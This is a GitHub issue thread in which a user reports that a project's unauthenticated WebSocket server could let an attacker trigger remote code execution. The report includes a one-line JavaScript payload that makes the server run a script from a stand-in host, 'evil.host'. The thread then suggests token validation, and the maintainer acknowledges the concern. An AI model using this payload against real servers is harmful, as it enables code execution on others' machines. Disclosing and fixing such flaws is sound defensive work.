Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security concern on WebSocket #7

Open
ChiChou opened this issue Jun 6, 2020 · 1 comment
Open

Security concern on WebSocket #7

ChiChou opened this issue Jun 6, 2020 · 1 comment
Labels
enhancement New feature or request security Security concern

Comments

@ChiChou
Copy link

ChiChou commented Jun 6, 2020

According to #5 remote host is planned to be supported.
There is no authentication for the socket server yet. So an attacker may be able to communicate with the server and trigger a remote code execution:

ws.send(new Blob([JSON.stringify({event: 'execute_script', path: '\\\\evil.host\\calc.py'})]))

Luckily tornado has Origin validation by default, which means if the HOST is 127.0.0.1, the attacker can not talk to the backend from a web browser unless he's got a UXSS. But when using this utility for remote debugging (e.g., Host = '0.0.0.0'), it is possible for the attacker to spoof the Origin header and trigger a 0click rce.

Maybe adding a random token validation upon connection can avoid such problem

@ioncodes
Copy link
Owner

ioncodes commented Jun 6, 2020

Thanks for opening up this issue. I will definitely track it along with #5. Exposing the server in this manner is at this stage discouraged (as mentioned by the README) but it's still an important feature and will find an implementation in the near future.

@ioncodes ioncodes added enhancement New feature or request security Security concern labels Jun 6, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request security Security concern
Projects
None yet
Development

No branches or pull requests

2 participants